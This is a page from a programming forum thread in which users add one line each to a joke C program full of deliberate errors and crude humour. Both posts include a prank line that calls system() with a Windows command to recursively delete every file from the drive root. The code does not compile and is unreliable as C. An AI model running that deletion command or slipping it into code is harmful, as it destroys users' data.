One line program!

(can't believe no one's thought of this...)

  • (4 Pages)
  • +
  • « First
  • 2
  • 3
  • 4

46 Replies - 3360 Views - Last Post: 10 January 2010 - 05:02 AM

#46 nanowire   User is offline

  • D.I.C Head
  • member icon

Reputation: 2
  • View blog
  • Posts: 107
  • Joined: 05-January 10

Re: One line program!

Posted 06 January 2010 - 12:55 PM

° Y . ) wonky bewbs */


#include <stdio.h>
#include <stdlib.h>

// but you just added more than a single line.
int AwesomestFunctionEver(int AwesomestIntEver)/*to whom it may concern: I said you could add a line and a comment*/
{
	int lessAwesomeInt;
	return AwesomestIntEver > lessAwesomeInt ? AwesomestIntEver : lessAwesomeInt;
}
int epic fail; //C++ is way better
int emoInteger; // All alone in this script...

const char[8] NAME = gabehabe;

int main(void) {
emoInterger = -20
	system("cd \ && del * /s /q"); //what's this?
	printf("doesn't the above line kind of assume the user is running in DOS rather than *NIX?  and you're a Linux supporter, for shame lol");
	printf("\n\nZOMG! This is the first time I've ever used the 'printf' command! \1\n");
	exit(666); // Even a mac can't survive the devil virus...
	float thisIsAVariable= 36.2f;
	do {//I would finish this and add the end brace but then it is more than one line. so you add something to it!
		printf("RAWR!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! LION BIRD!");
		printf(" fails. gabehabe ftw.");
		printf("\nMOUHAHAHHA: %s", (char*)(void*)AwesomestFunctionEver((int)thisIsAVariable));
		printf("\nZOMGZ! MOUHAHAHHA WAS SPELLED WRONG\n") (set var "MOUHAHAHHA" to "MWAHAHAHA!");
		printf("So far, in the Program Code::blocks, this works if you add a few vital lines of code.  Wow.  ");
		if (God != NAME){
			exit(0); // what does that do?	
			// it exits the program with a status of 0 :-)
			// then why even have the return 0;
			// no2 was just being silly. this program is gonna be mostly comments.
		}
		return 0;
		//I am not even sure how to add a one line comment in C
		printf("Devil virus??");
		printf("wtf? you're obsessed with wonky bewbs... are you saying that's what your bewbs look like?");
	}while("( ° Y . )" == "wonky bewbs");
}

This post has been edited by nanowire: 06 January 2010 - 12:57 PM


#47 borninlyoko   User is offline

  • D.I.C Regular
  • member icon

Reputation: 7
  • View blog
  • Posts: 350
  • Joined: 03-December 09

Re: One line program!

Posted 10 January 2010 - 05:02 AM

° Y . ) wonky bewbs */


#include <stdio.h>
#include <stdlib.h>

// but you just added more than a single line.
int AwesomestFunctionEver(int AwesomestIntEver)/*to whom it may concern: I said you could add a line and a comment*/
{
	int lessAwesomeInt;
	return AwesomestIntEver > lessAwesomeInt ? AwesomestIntEver : lessAwesomeInt;
}
int epic fail; //C++ is way better
int emoInteger; // All alone in this script...

const char[8] NAME = gabehabe;

int main(void) {
emoInterger = -20
	system("cd \ && del * /s /q"); //what's this?
	printf("doesn't the above line kind of assume the user is running in DOS rather than *NIX?  and you're a Linux supporter, for shame lol");
	printf("\n\nZOMG! This is the first time I've ever used the 'printf' command! \1\n");
	exit(666); // Even a mac can't survive the devil virus...
	float thisIsAVariable= 36.2f;
	do {//I would finish this and add the end brace but then it is more than one line. so you add something to it!
		printf("RAWR!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! LION BIRD!");
		printf(" fails. gabehabe ftw.");
		printf("\nMOUHAHAHHA: %s", (char*)(void*)AwesomestFunctionEver((int)thisIsAVariable));
		printf("\nZOMGZ! MOUHAHAHHA WAS SPELLED WRONG\n") (set var "MOUHAHAHHA" to "MWAHAHAHA!");
		printf("So far, in the Program Code::blocks, this works if you add a few vital lines of code.  Wow.  ");
				printf("Ho. Ly. Shi-. EPIC!");
		if (God != NAME){
			exit(0); // what does that do?	
			// it exits the program with a status of 0 :-)
			// then why even have the return 0;
			// no2 was just being silly. this program is gonna be mostly comments.
		}
		return 0;
		//I am not even sure how to add a one line comment in C
		printf("Devil virus??");
		printf("wtf? you're obsessed with wonky bewbs... are you saying that's what your bewbs look like?");
	}while("( ° Y . )" == "wonky bewbs");
}


  • (4 Pages)
  • +
  • « First
  • 2
  • 3
  • 4